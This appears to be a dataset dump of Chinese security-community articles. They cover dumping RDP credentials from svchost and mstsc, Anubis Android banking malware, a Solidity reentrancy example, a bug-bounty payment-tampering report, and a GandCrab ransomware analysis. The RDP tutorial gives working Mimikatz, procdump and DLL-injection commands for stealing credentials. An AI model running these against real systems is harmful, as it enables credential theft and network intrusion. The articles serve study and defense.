text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 转储RDP凭据
> 本文为翻译文章，原文链接:<https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/>
管理员通常使用远程桌面协议(RDP)来远程管理Windows环境。同时它也是系统会开启的标准的RDP，来作为允许用户访问其他网络的跳转站。然而，尽管该协议长时间被广泛使用，却并没有得到加固或适当的监视。
从红队角度来说，转储lsass进程的凭据，可能会导致横向移动来穿越网络，或者如果获取到域管理员账户的凭据则直接导致整个域被接管。与RDP协议相关的进程也存在于红队收集凭证的范围内。这些进程是:
* 1.svchost.exe
* 2.mstsc.exe
上述进程可以作为一个可选的选择来检索凭据而无需访问lsass，lsass通常来说已经是被EDR产品重点监控的进程。
## svchost
服务宿主(svchost.exe)是一个系统进程，可以承载多个服务来防止资源消耗。当用户通过RDP连接进行身份验证时，终端服务由svchost进程托管。
基于WIndows身份验证机制的工作原理，根据[Jonas
Lyk](https://twitter.com/jonasLyk)的发现，凭据以纯文本形式存储在svchost进程的内存中。然而，查看进程列表，将会有多个svchost进程，因此可以通过执行以下其中一个命令来识别是哪个进程，托管了终端服务的连接。
查询终端服务:
sc queryex termservice
图解: svchost Identification – Service Query
查询哪个任务加载了rdpcorets.dll:
tasklist /M:rdpcorets.dll
图解: svchost Identification – RDP Core DLL
运行Netstat:
netstat -nob | Select-String TermService -Context 1
图解:svchost Identification – netstat
查看进程的内存字符串, 密码显示在用户名下方:
图解: Memory Strings
Sysinternal的进程转储也可用于通过指定PID和写入.dmp file文件的目录来转储内存。
procdump64.exe -ma 988 -accepteula C:\Users\pentestlab
图解:Memory Dumping – Process Dump
.dmp 文件可以传送到另一台主机用于离线分析。通过执行简单的grep便可识别出存储在用户名下方的内存文件中的密码。
strings -el svchost* | grep Password123 -C3
图解:Discovery of Password in Memory Dump
上述方法并不认为是完全可靠的，svchost进程在什么情况下会维持凭证仍然是未知的。但是，Mimikatz支持通过执行如下命令从已经存在的RDP连接中检索凭证。
privilege::debug
ts::logonpasswords
图解:Mimikatz – RDP Credentials
## mstsc
当用户打开远程桌面连接应用以便通过RDP协议连接到其他系统时，将创建mstsc.exe进程。API
hooking可以用于拦截用户提供的凭据，并将其用于横向移动。[Rio
Sherri](https://twitter.com/0x09al)开发了一个名为[RdpThief](https://github.com/0x09AL/RdpThief)的概念验证工具，它试图hooking
mstsc 进程（CredIsMarshaledCredentialW 和
CryptProtectMemory）使用的函数，以检索凭据并将它们写入带磁盘上的文件中。该工具的详细信息可以在 MDSec
网站的[一篇文章](https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/)中找到。
从已被入侵且mstsc.exe正在运行的系统中，需要将DLL注入到该进程中。
SimpleInjector.exe mstsc.exe RdpThief.dll
图解:RdpThief.dll – DLL Injection
一旦用户输入了对目标主机进行身份验证的凭据，这些凭据将被捕获并写入到C:\temp文件夹的文件中。
图解:CredPrompt
creds.txt 文件包含了IP地址。如果使用提升的账户，则可以利用这些信息在网络中横向移动甚至提升权限。
该工具已由[Josh Magri](https://twitter.com/passthehashbrwn)用 C#
重写。然而，与RdpThief相比，[SharpRDPThief](https://github.com/passthehashbrowns/SharpRDPThief)
使用IPC Server来接收来自mstsc.exe进程的凭据。如果mstsc.exe被终止，server
将会继续运行，并且当进程再次重新启动时会尝试再次进行Hooking。这解决了 RdpThief 要求进程已经存在的限制。
图解:SharpRDPThief
## RDP 文件
对于倾向于通过RDP连接对特定主机进行多次身份验证的用户，他们可能会保存连接的详细信息，以便进行快速的身份验证。这些凭据使用数据保护API以加密的形式存储在Windows的凭据管理器。
图解:Credential Manager
Windows凭据在磁盘上的位置如下:
C:\Users\username\AppData\Local\Microsoft\Credentials
图解:Windows Credentials Location
该文件可以通过Mimikatz二进制文件查看:
dpapi::cred /in:C:\Users\pentestlab\AppData\Local\Microsoft\Credentials\ACC240EEE479C1B634EC496F9838074B
"pbData"
字段包含加密形式的信息。但是，用于解密的主密钥存储在lsass中，可以通过执行以下Mimikatz模块来检索。"guidMasterKey"也很重要，因为查询lsass时可能存在多个条目，并且需要将GUID与主密钥匹配。
sekurlsa::dpapi
图解:Mimikatz – DPAPI Master Key
再次执行带有主密钥的命令 dpapi::cred 模块将会返回解密内容和以纯文本形式公开的RDP凭证。
dpapi::cred /in:C:\Users\pentestlab\AppData\Local\Microsoft\Credentials\ACC240EEE479C1B634EC496F9838074B
/masterkey:05d8e693421698148d8a4692f27263201f1c65e0b3ac08e3be91ea75f43e71e9b398e2418ba0f0c62ea70a317bdba88f11da3adebd07d65d2b349f933eab85e1
图解:DPAPI – Decrypting Credentials
执行以下命令将提供这些凭据属于哪个Server的详细信息。
vault::list
图解:Mimikatz – Vault List
## YouTube
视频演示: <https://youtu.be/KzP-yx6Dq_U>
## 参考
* <https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/>
* <https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/>
* <https://github.com/0x09AL/RdpThief>
* <https://github.com/mantvydasb/RdpThief>
* <https://github.com/passthehashbrowns/SharpRDPThief>
* <https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling>
* <https://labs.f-secure.com/blog/attack-detection-fundamentals-2021-windows-lab-3/> | 社区文章 |
# 恶意软件Anubis再次通过官方应用商店进行传播
##### 译文声明
本文是翻译文章，文章来源：securityintelligence.com
原文地址：<https://securityintelligence.com/anubis-strikes-again-mobile-malware-continues-to-plague-users-in-official-app-stores/>
译文仅供参考，具体内容表达以及含义原文为准。
IBM X-Force移动恶意软件研究人员观察到一些开发者正积极地将Android恶意软件下载器上传到Google Play商店中。
自从发生了[持续针对Google Play广告的系列攻击后](https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/)，我们的研究团队一直在监控官方应用商店中的银行恶意软件活动。该团队最近报告称，商店中的下载app被当作了感染程序的第一步，该程序会获取名为Marcher（又名Marcher
ExoBot）和BankBot
Anubis移动银行木马，在自己的设备上安装这个app的用户随后就会被感染。网络犯罪分子利用这些银行木马通过窃取银行应用程序、电子钱包和支付卡的登录凭证来促进金融诈骗。
从6月开始，我们的团队发现了许多新的恶意软件下载app的样本，这些样本利用BankBot
Anubis（又名[Go_P00t](https://exchange.xforce.ibmcloud.com/collection/Mazain-aka-go_p00t-c7c285af82fbaf0c9a6c93431e47d077)）来进行感染，而此次的攻击活动中至少包含了10种伪装成各种应用程序的恶意下载app，这些app全都可以获取在[Android设备](https://www.ibm.com/security/mobile/maas360/android-mdm?ce=ISM0484&ct=SWG&cmp=IBMSocial&cm=h&cr=Security&ccy=US)环境中运行的移动银行木马。虽然下载app的数量可能看起来不大，但每个应用程序都可以从犯罪分子的C＆C服务器中获取1,000多个恶意样本。
在应用程序商店中找到与BankBot Anubis恶意软件相关的新下载程序可能表明：
* 一个给定的恶意软件分销商/网络犯罪组织已经从使用Marcher转移到分发BankBot Anubis
* 或者在Google Play上传播恶意软件的威胁者正在将他们的“专业知识”以服务的方式提供，为使用移动木马促进金融诈骗的不同网络犯罪组织传播恶意软件下载器——又称“downloader-as-a-service（下载即服务）”。
此类[网络犯罪服务](https://securityintelligence.com/cybercrime-has-become-a-commodity/)在诈骗和恶意软件黑市中很常见。它们被证明有渗透进Google
Play中的能力，并将恶意下载器植入到那些外观看起来还不错的程序中，这些服务可能还会使下载器的C＆C服务器保持足够长的时间，以进行持续性地感染入侵，这表明了网络犯罪团体带有深思熟虑的安全性操作和专业技术。
## 移动恶意软件下载器时代
随着应用程序商店运营商将安全性分层以防范恶意开发者，但黑帽应用程序传播者仍找到了绕过它们的方法。为了规避不断进步发展的应用商店防御，移动恶意软件传播者开始依赖于PC端上的恶意软件领域的策略：并不需要将实际的恶意软件上传到商店，而是在传播链的早期阶段就对其进行抽样检测，然后上传一个与实际恶意软件相比可能看起来相当安全的下载器。
通常，下载器应用程序更有可能在安全检查和重复扫描中存活，并且一旦它安装到了用户的设备上，它就可以获取预期中的恶意软件应用程序。正如中国将军孙子在“
[战争的艺术](https://www.goodreads.com/quotes/608916-the-greatest-victory-is-that-which-requires-no-battle) ”中所写的那样，“最大的胜利就是不需要战斗的胜利”。
## 下载器样本活动情况
根据X-Force研究人员的说法，在当前的活动中，下载器app面向土耳其语的用户，它们的类型和视觉风格各不相同——从在线购物到金融服务甚至是汽车应用——旨在让用户看起来觉得它们更加合法且有趣。
****
图1：Google Play中发现的恶意软件下载器app示例。
各种不同的应用程序和风格表明，此次攻击活动的发起者需要投入大量资源，这表明这是一场大型的网络犯罪服务，而不是单一组织可以发起的网络犯罪。
下载器本身相当隐蔽，而且VirusTotal错过了其中一个样本，那个样本并没有被反病毒引擎检测到。
****
图2：恶意下载器检测率为0
在此次活动中，检测到的恶意下载器程序X-Force与[ThreatFabric](https://www.threatfabric.com/blogs/exobot_android_malware_spreading_via_google_play_store.html)在2018年1月报告的三个应用程序具有相同的代码库，以下代码片段显示了它们之间的相似性：
****
图3：ThreatFabric在2018年1月报告的下载器样本的代码
****
图4：X-Force于2018年6月发现的下载器样本的代码
下图中相似性更为显着，通过从字符串中删除所有键实例（ **pE2** ），我们从January样本中生成了相同的字符串：
****
图5：代码库非常相似，表明可能是由同一个开发者开发的两个应用程序
目前已发现了10个下载器，此次活动似乎正在不断扩大其规模。
随着时间的推移，我们还发现了代码的更新。随着下载版本之间的时间流逝，开发者添加了一个简单的混淆并扩展了下载器功能，其代码也略有改动，以绕过Google
Play的安全控件的检测。
根据X-Force的分析，这些变化表明下载器app正在被持续维护——这也是表明它是向网络犯罪分子或特定群体提供的，专注于欺骗土耳其移动银行用户的商品的另一个迹象。
## Anubis Masquerades伪装成了Google Protect
成功安装恶意下载器app后，该app会从其中一个C＆C服务器中提取BankBot Anubis。然后，BankBot
Anubis恶意软件伪装成名为“Google Protect”的应用，并提示用户授予其可访问权限。
图6：应用程序的土耳其语名称
图7：要求访问keylog用户凭据的恶意软件
为什么要求可访问性？BankBot
Anubis使用Android的辅助功能服务来执行键盘记录，以便在被感染用户访问目标移动银行应用程序时获取他的身份凭证信息，在大多数Android银行木马中，当用户访问目标应用时，恶意软件会启动一个虚假的覆盖屏幕，然后，用户就将帐户凭据输入到伪覆盖中了，这就是恶意软件窃取数据的通用做法。而BankBot
Anubis简化了这一过程。
通过键盘记录用户的登录信息，攻击者可以从任何应用程序窃取凭据，同时避免了为每个目标创建自定义叠加层的需要。此恶意软件还能够捕获用户屏幕的截图，因为键盘笔划可见，所以它可能会用于窃取凭据，这些功能是PC端银行恶意软件的主要做法，而现在在[Android恶意软件](https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/)中也开始不断发展。
此次特定攻击活动中的下载器app被设计来针对土耳其用户。使用修改僵尸网络和配置，BankBot Anubis也可以用来针对以下国家/地区的用户：
* Australia
* Austria
* Azerbaijan
* Belarus
* Brazil
* Canada
* China
* Czech Republic
* France
* Georgia
* Germany
* Hong Kong
* India
* Ireland
* Israel
* Japan
* Kazakhstan
* Luxembourg
* Morocco
* Netherlands
* New Zealand
* Oman
* Poland
* Russia
* Scotland
* Slovakia
* Spain
* Taiwan
* Turkey
* U.K.
* U.S.
虽然在撰写本文时，Google
Play商店中有10个下载器app，但此次攻击活动相当庞大。X-Force通过下载次数以及找到的payload的数量和种类来估算Google
Play上的此次攻击活动的大小。在一个案例中，研究人员从一个C＆C服务器中获取了[1,000多个BankBot
Anubis的新样本](https://exchange.xforce.ibmcloud.com/collection/BankBot-Anubis-spreading-via-Google-Play-df790858d65f2c3ccf3165759df35005)。每个样本都有不同的MD5签名，在针对VirusTotal进行测试时，任何防病毒引擎的记录中都很少有这些签名。
## 官方应用商店：欺诈者的圣杯
在最大化此次攻击的感染效果方面，移动恶意软件分发者把官方应用商店当作他们的圣杯，将恶意应用程序放入官方商店可以接触更多的潜在受害者、廉价的分发渠道和用户信任。此外，已经进入官方商店的恶意软件应用程序更有可能在安全控制的范围内比在被劫持的站点或流氓服务器上托管更长时间。[IBM
X-Force](https://www.ibm.com/security/xforce?ce=ISM0484&ct=SWG&cmp=IBMSocial&cm=h&cr=Security&ccy=US)将恶意应用程序报告给了官方商店，以便在更多用户受到影响之前将其删除。
恶意应用程序是一个商店运营商和开发人员都很难限制的点，而且这也是一个反复出现的问题：2017年，X-Force移动研究人员曾多次发表了金融恶意软件渗透进Google
Play商店的报告，其中[BankBot
Android恶意软件](https://securityintelligence.com/news/leaked-source-code-may-lead-to-more-banking-trojan-attacks-researchers-warn/)家族一直处于领先地位，这一趋势可能还会继续升级。
X-Force研究人员怀疑，传播移动特洛伊木马的网络犯罪服务已将其作为恶意软件活动渠道掌握，并可能将其货币化，虽然此类网络犯罪服务在PC端的恶意软件传播中颇受欢迎，但其在移动恶意软件领域的崛起是用户或组织应该意识到的一个不断升级的风险因素。
想了解保护设备免受移动恶意软件攻击的更多相关信息，请阅读我们的[移动恶意软件缓解技巧](https://securityintelligence.com/mitigating-malware-modern-mobile-world/)。
审核人：yiwang 编辑：边边 | 社区文章 |
最近针对区块链的“币圈”进行了一个小范围的资料阅读与研究，学习总结了一些安全方面的知识。通过对“币圈”发生的一些重大安全事件的研究，我也接触了许多“激励层”方面的知识。希望将内容简单的总结于此。
通过这几个月的对区块链知识的学习，我提炼前人的话简单的对区块链进行总结——简单来说区块链为 **“去中心化”** + **“Token机制”**
的结合。而去中心化我们在这里先不谈，我们就主要讨论下这个Token机制（激励机制）中蕴含的思想。
下面，我将从比特币、以太币入手，并引出与激励层相关的安全攻击—Race To Empty。
### 一、激励机制的价值体现
区块链本质是分布式共识与价值激励相结合的产物，它一个方面通过密码学等数学运算来提供各个节点的共识；另一个方面通过激励机制保证了区块链生态圈的平衡发展。大家都知道，区块链的核心理念就是去中心化（即所有节点遵循同一种共识，并对任何事情达成一致性看法）。而通过对区块链的了解中我们也发现区块链的各个节点就如同社会中的个人一样，只有在有“人”存在的条件下，整个社区才会有可能欣欣向荣。而如何提高整个社会的运作效率、如何让人们更乐意去工作去付出是我们要考虑的事情。对于社会来说，金钱（虽然俗气但是确实最好的方法）是push人们实现价值的最好动力。在区块链这个小的社区中也是如此，它借鉴了人类社会的发展模式，通过提供一些奖励使各个节点更努力的去工作（下面会根据不同货币进行相关讲解）。
在去中心化系统中，共识节点本身是有机会获得相应的奖励，各个节点消耗自身资源参与数据验证和记账的根本目的是使自己的利益最大化。为保证去中心化系统的安全有效的良性运转，我们必须引入符合经济模型的激励机制，使各方能跨越组织信任边界，建立一种无界、协同的发展生产关系，并使更多节点加入进来共同维持系统的正常运转。
对此，区块链的设计理念中引入了数字通证（Token）作为激励。由于没有中心节点，所以账本的维护就成为了各个节点有义务所作的工作，而我们对于记账的节点可以进行相应的币值奖励，以此来推动生态的平稳发展。
### 二、什么是Token？
#### 1 Token是借助密码共识机制（区块链）发行和流通。
密码共识机制是比特币赖以实现去中心化的那套技术和协议，也就是所谓“区块链”，实际的区块链仅仅是这个机制中的一项次要技术。比特币和以太坊是依据密码共识机制设计的去中心化的密码共识平台。token是这些密码共识平台的产品，是通过比特币或以太坊等公链提供的协议、脚本、节点、软件等设计、创建、发行和流通的信用凭证。比特币或以太坊平台的密码共识机制尽管没有改变token的信用本质，但让整个发行和流通过程变得公开透明，从而更加可信。离开了通过密码共识机制建立的去中心化平台，token就跟游戏金币、Q币、商城积分等没什么差别了。
#### 2 token的价值依赖于密码货币。
借助于以太坊和比特币发行的token为什么就比传统token有这么大的影响力呢？关键在于，这些token一经发行就可以在完全开放的比特币和以太坊平台上，通过近乎完全自由的比特币和以太币进行交易，并且很容易进入中心化的交易平台进行大规模撮合交易。也就是说，token借助于它所依附的较成熟的密码货币系统，获得了传统token难以获得的巨大流动性。
#### 3 token运用密码技术确认权属
从技术细节上看，token跟传统token的一个重要差别在于，新的token利用非对称密码技术的公私钥确认权属。公钥在密码共识系统中记录token数量及其转移方向，用户持有的私钥确定对应公钥的token的归属，并对转移进行签名授权，而不需要依赖第三方来见证和确认，可以说是“去中介”。不过，离开了“共识”（即分布式共识），单纯的“密码”应用无法让token获得上述自由发行便利和强大的流动性。“密码共识”才是token的基础（比特币或以太坊）的基础。
详细可参看[对token的解读](https://www.jutuilian.com/article-58249-1.html)
### 三、比特币中的激励
#### 交易中的激励概念
比特币、以太币以及其他各种虚拟代币（token），正是区块链具备激励功能的体现。中本聪所设计的区块链是试验之作，本身并无商业价值，为了引起关注、发展联结点，同时激励参与者不断通过“挖矿”式计算来创建新的区块，共同维护链条的延展存续，他必须要给予为此而做出努力的人以“报酬”。所以，在每一次“挖矿”成功并得到确认之后，新的区块形成，而公认胜出的“挖矿”者则获得token，并被记入公共账本。中本聪将这种本质上属于一段计算机程序的奖励命名为“比特币（Bitcoin）”，这种命名暗合了现实社会中人们关于货币的各种意念，从而使区块链被误认为是一种造钱的计算机程序，比特币因此而风靡于世，并且还催生出一波虚拟货币热潮。
比特币系统是典型的通过经济激励机制实现自我驱动的系统。其可靠性依靠了整个系统中所有节点的共同算力，由此，比特币系统不需要任何中心机构维持其信用而只需要技术手段就可以创建共识。
首先，我们可以总结为挖矿节点收取的手续费。通过打包交易所产生的激励为一个区块中包含的所有交易费用。具体来说，比特币交易的手续费不取决于交易金额，而是按照用户交易的每千字节收取0.0001BTC（比特币）的价格。除此之外，为了防止通货膨胀，比特币的发行量每4年减半，总量为2100万枚。当达到数额时（预计为2140年），矿工便不能够通过获得系统的记账奖励来获得比特币，而是只能通过系统中的手续费来生存。
而除了发币激励之外，系统还存在交易规则。首先矿工会优先处理高优先级的交易。区块中前50kb是保留给高优先级交易的。那么怎么评判优先级的高低呢？其通过币的新旧、交易字节数、交易币数量总和决定（有点像操作系统中进程的管理算法）。具体计算公式为：`priority
= sum(input_value_in_units * input_age) /
size_in_bytes`。如何值大于0.576则为高优先级。简单来说，随着新区块的产生，留在内存池中未被打包的交易年龄越来也大，最终优先级会提高。之后会按照矿工费用排序交易。由高到底排序。
### 四、以太坊中的激励
与所有基于区块链技术的去中心化系统一样，以太坊也有一套自己的激励机制，用以鼓励矿工花费计算资源进行挖矿，而这一机制就是以太币。
以太坊最小货币单位是wei，以太币与其兑换率为1Ether = 10^18wei。每个区块被挖出，那么相应矿工会获得一定的奖励，而奖励由两个部分组成：
①矿工在获得记账权后可以获得5个以太币的奖励。
②除了上面的静态奖励，我们还有动态奖励。首先记账的区块中所有的交易费用归矿工所有，除此之外，矿工还可以从每个[叔区块](https://blog.csdn.net/weixin_42874184/article/details/81735695)中获得额外的1/32以太币的奖励。
那么以太币与比特币的区别又是什么呢？下面我们来看一看 **“叔区块”** 的概念。
在这里，叔区块是指那些没有在最长的那条链上，而是分叉链上挖出的有效区块。由于各个节点是各自独立的工作，就有可能出现两个独立的矿工先后发现了两个不同的满足要求的区块，被称为临时分叉。以太坊采用这种机制而分散中心挖矿的现象（即最大矿池垄断区块生产，导致单个矿工总是落后矿池的区块信息的情况）。采用这种机制，即使单个分散节点没有大矿池挖矿速度快，那他们也会有相应的奖励。
例如下图，区块二先挖到2，而区块一速度慢一些。但是当区块3生成的时候，3中会将黄色与红色两个都记录下来（黄色为叔块）。
更例如下：
如上图说是，当打包102的时候，发现还有个黄色的101也指向自己（102）的爷爷(100)，那么黄色的101就是一个叔块（当然这个是最高级别的叔块，如果打包102的时候还没有黄色的101，打包103的时候才发现黄色的101，那么黄色的101也是会当做区块打包到103内，区别是黄色101区块的生产者获得奖励不同）
**而我们为什么要有叔块的概念呢?**
比特币里面是没有叔块概念的，叔块是以太坊中引进的，至于为什么要引进叔块的概念，是与以太坊的缩短出块时间有关。比特币平均出块时间间隔为10分钟，出现叔块的情况概率比较小，当时中本聪设定的这种情况的叔块是做无用功，不会有任何奖励。但是以太坊为了缩短出块时间到10s出头，那么叔块产生的概率就比较高了，如果类似比特币的设计，会有很多矿工因为生产了叔块而获取不到任何奖励，矿工的积极性会降低，不利于以太坊生态发展，所以V神引入了叔块的概念，这种情况下矿工打包叔块进区块，叔块生产者和打包叔块的矿工都会有一定的奖励。
具体的叔块的介绍我们参考[以太坊叔块相关](https://blog.csdn.net/csds319/article/details/80619092)（包括叔块的特性、奖励金额等）
#### 1 Gas简介
叙述完了上述的以太坊激励机制，那我们现在可以想象一下，因为以太坊赋予用户使用solidity来编写自己的智能合约。倘若某天恶意用户部署无限循环的运行合约，那么我们系统就要承担巨大的流量。那么如何解决这个问题呢？于是我们引入了gas机制。
如果我们让程序的每条指令都要消耗一点儿“资源”，“资源”用光了，无论程序执行完没有，都会被强行终止，这样无论是不是死循环都没关系了。这样是不是就使用一种外力来制约恶意节点了。
具体来说，部署只能合约每一步需要支付1Gas，停止合约不需要支付，创建合约需要100Gas而合约交易需要支付500Gas。因此，Gas就相当于部署和执行只能合约所需的燃料，没有燃料就无法使用只能合约。
#### 2 Gas激励作用
在以太坊中，每种操作所需要的Gas由以太坊的设计者决定以确保系统的正常运行。但是每个合约所需要的费用不是完全固定的，不同的用户有不同的需求，有的希望交易能够快速确认（优先级概念），有的希望用较少的以太币执行合约。因此“Gas的价格”与“以太币”有相应的兑换率。Gas价格可由用户自行定义，价格定的越高，交易被确认的越快。这样以Gas来与以太币挂钩作为一种激励，给与用户DIY的权利，并维护了以太坊生态的平稳进行。
对于复杂的运算，需要消耗的Gas越多，只要给程序加上一个消耗Gas的上限，就可以防止程序出现死循环而不能停止的情况了。同时，以太坊还给每个区块包含的程序消耗的总Gas设定了上限，以免区块中包含的程序过多，影响一些性能比较弱的节点。每个区块能消耗的Gas上限也是可以调整的，由矿工们进行投票决定。每个程序需要为Gas支付的以太币可以用如下公式计算：`Gas花费
= 消耗的Gas数量 x Gas的价格`
Gas机制降低了以太坊的恶意情况产生，不过仍然还是会存在恶意攻击绕过了gas机制并带来了严重后果的情况。之后我会针对激励层机制来分析相关恶意事件，下面就先简单的介绍下区块链中的Race-to-empty攻击类型
### 五、Race-To-Empty攻击
对于Race-To-Empty攻击，我们从字面简单分析。
race简单来看是一种`快速的动作`，而 to
empty意思是`导致为空`。而我对这种攻击的理解是——用一种攻击方法，通过多次快速的调用某个代码致使被攻击者的账户中有用资产为空的情况。
这里我们简单的引出相关攻击手法。我们引用一个简单的例子来说明。（尽量简洁易理解）
function getBalance(address user) constant returns(uint) {
return userBalances[user];
}
function addToBalance() {
userBalances[msg.sender] += msg.amount;
}
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; }
userBalances[msg.sender] = 0;
}
我们可以暂时规定`msg.sender.call.value()`函数被调用的时候，系统会默认执行一个默认函数Function。我们将其定义如下：
function () {
vulnerableContract v;
uint times;
if (times == 0 && attackModeIsOn) {
times = 1;
v.withdraw();
} else { times = 0; }
}
由上面的内容我们可以有所发现，当`withdrawBalance
()`方法被执行的时候，我们里面会执行`msg.sender.call.value(amountToWithdraw)())`，此时我们会默认执行`function
()`方法。加入我们function方法中定义了withdraw()方法（即我进行了回调）。此时就类似于 **递归** 的感觉了，这也是攻击成功的原因之一。
函数入栈情况如下：
withdraw run 1st
attacker function run 1st
withdraw run 2rd
attacker function run 2rd
.........（后面会无限执行这两个方法，这也就是为什么叫race的原因）
大家了解了这个攻击手段后，我会在之后的文章中介绍有关此攻击的具体例子。
在此，感谢参考文献[race-to-empty](https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/)
### 六、参考链接
* 1 <http://www.dodoca.com/dry/keji/677.html>
* 2 <https://blog.csdn.net/csds319/article/details/80619092>
* 3 <https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/>
* 4 <https://blog.csdn.net/cherisegege/article/details/80146273>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
## 前言
最近一直在挖各大SRC厂商的逻辑漏洞，以前听别人说过有些支付漏洞因为其业务流程的原因，会被厂商忽略，没想到自己竟然也遇到了相同的事情2333，接下来我将详细介绍挖洞过程和忽略原因。
## 挖洞过程
### 梅开一度
首先进入某网站，注册一个账号。关于注册方面的逻辑漏洞，似乎前辈们已经挖的渣都不剩了，经过一通测试，只能选择放弃。由于这是一个购买服务类型的网站，结下来要测试的逻辑漏洞当然就是支付漏洞。
我任意输入了一些关键词进行搜索，选择了一个价值7000的商品，点击进入购买。
进入商品后，点击购买，进入购买界面。
点击下单，使用Burp Suite进行抓包
在抓包的过程中看到了一个关于`amount=7000&orderAmount=7000`的参数项，将两个参数同时进行修改成1，目的是为了使其价格变成一元，然后放包。
在放包后，可以看到起GET头部传输的参数中`amount=1.00`，挖到这里觉得里成功已经不远了。
接下来继续放掉数据包，知道放完所有的数据包后，看到了想要的结果，支付金额从7000元变成了1元。
当时心中觉得这是已经成功了，不过前人的经验告诉我，虽然将支付金额修改了，生成了一个支付账单，但也可能在支付的时候出现无法支付的情况。我冒着破费一块钱的风险支付了一下，结果成功了55555。
当时看到这里，心想一个紧急漏洞又到手了。为了确保万无一失，我还特意去订单里看了一下，是否有支付成功的记录。
没错，的确支付成功了，与下面同样修改了价格但没有支付的订单相比，该订单已经支付，待服务商家接单。于是乎我高高兴兴的把漏洞挖掘的整个过程详细地写成报告，提交到他们的SRC官网上。
### 梅开二度
不到半天功夫后，看到他们漏洞审核回复，发现竟然是忽略，当时整个人瞬间心凉了。于是乎我去看了他们的回复
就这简短的几句话，我竟毫无理由反驳，这难道就是不熟悉业务流程而导致徒劳无功？不一会，他们的SRC客服加了我的微信，我就此事对他们的评价提出了质疑。
他们的SRC安全中心的官方文档中有说明存在支付问题，而他在这里给我的解释就是他们之前已经发现了这个问题。对你没有看错，他们之前就发现了这个问题，然后一直没有改。
因为以前也听说过类似的事情，所以也没怎么跟他钻牛角尖，后来自己想了一下其中的一些潜在问题。
1. 这种p2p模式的交易商店有两重支付确认，第一就是你需要通过正规流程进行支付，其次就是在支付完成后，店家需要进行价格二次确认，才会提供服务，在服务完成后，买家对服务的整体做二次确认验收成果后才会付款到卖家。
2. 这个过程中影响付款金额的推进有两处，第一处就是卖家针对买家的支付价格是否确认接受服务，（正如他们的SRC客服所言，我购买的服务到现在都没人接单）也就是说只有这个支付价格在卖家的接受范围内，他们才会考虑是否接单。
3. 针对本次服务，它的原本价格是7000，我将它改为1元，这落差价格确实太大了，按照他们网站的业务服务流程，卖家接单基本是不可能的事情，除非它是真的眼瞎。那么，如果我通过价格修改，将其产品服务的价格修改成6999元，卖家会接单服务吗？然而我并没有冒这个险去尝试，话说我那支付的一块钱到现在都没有退给我55555。
在写这篇文章的时候，还没有就这个逻辑思路跟他们的SRC客服沟通，估计被驳回的可能性非常大，因为他们自己都说早就发现这个漏洞了，只是他们没修，觉得可能花钱修也没必要。
### 梅花三弄
抱着对解决事情的严谨态度，（其实是挖漏洞太难了，尤其是支付这种紧急的漏洞555）我再次跟他们的SRC沟通了一下，表达了上面的一些想法（原谅里面的一些错别字）
没错，还是维持原判，一句谢谢大佬结束了对话，我太难了 | 社区文章 |
# 警惕！GandCrab V 5.2正在利用恐吓主题钓鱼邮件进行传播
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，360威胁情报中心捕获到一起针对中文使用者的钓鱼邮件。该邮件带有一个压缩包，经分析发现，该压缩包内为最新的GandCrab
5.2勒索软件。基于该线索，360威胁情报中心对GandCrab勒索软件最新变种的IOC，攻击技术和传播方式进行分析汇总，并提出了一些解决方案，以供读者参考。
## 攻击分析
本次攻击的邮件内容如下所示
邮件标题为“你必须在3月11日下午3点向警察局报到!”
发件人邮箱为：[Jae-hyun@idabostian.com](mailto:Jae-hyun@idabostian.com)
发件人名称：Min, Gap Ryong
可见内容存在大量乱码字样，内容大致为请来警局参与调查，并附上了相关内容。
通过解压03-11-19.rar 后，可见其内含有一个伪装成word图片的，带中文乱码的exe文件。
“你 须瞍3昱11祉 珥3锩 添筇涎报羽”
运行恶意软件后，可见桌面被替换并显示GandCrab 5.2的相关勒索信息
勒索信息文本，其中文本名称和后缀均为随机生成，勒索信息文本为固定格式XXXXXXX-MANUAL.txt
其中Tor 节点如下:
http://gandcrabmfe6mnef.onion/e49217da629e6a2d
## 样本分析
恶意代码的入口处会先通过CreateToolHelp32Snapshot创建进程快照，然后调用Module32First判断返回值：
返回值等于0的话会进入fun_ExecMain函数后会执行后续的恶意代码，在之前会填充很多垃圾指令 ，为了免杀：
会解密文件中包含的2块数据，复制到新申请的可执行的内存空间，解密后的数据是shellcode，直接执行起来：
解密后的2块数据合并成一个完整的shellcode，如图为解密后的数据的汇编代码：
Shellcode的功能主要是解密出勒索的主体PE并在内存中加载起来:
Dump出解密出的PE的信息如下：
MD5:
b961adffea4c6cf915e1f04ddea6408e
编译时间：
2019-02-24 00:51:29
字符串信息：
字符串用的RC4算法，所有的字符串都用了RC4算法：
传进去的数据结构为：
0-0x10字节：RC4密钥
Len = Dword(0x10-0x14)^dword(0x15-0x18)：后面数据的长度
0x18- Len:待解密的数据
例如下面的数据：
75 31 45 89 2A 27 CA 9B D3 65 BE CF D2 94 50 1E //RC4密钥
42 4C 17 1B //长度的异或前值 A
52 4C 17 1B //长度的异或后值 B A异或B = 0x10 就是后面数据的长度
FC E3 01 54 2D D6 08 5A 67 43 6C A9 88 49 53 90 //数据
解密的数据如下：
以下为勒索成功后的截图：
## 传播方式
目前已知的传播方式如下：
1、定向鱼叉攻击邮件投放
2、垃圾邮件批量投放传播
3、网页挂马攻击
4、利用CVE-2019-7238(Nexus Repository Manager 3远程代码执行漏洞)进行传播
5、利用weblogic漏洞进行传播
6、利用自动化机制病毒进行传播(<https://mp.weixin.qq.com/s/R-Ok96U5Jb2aaybUfsQtDQ>)
传播方式包括:
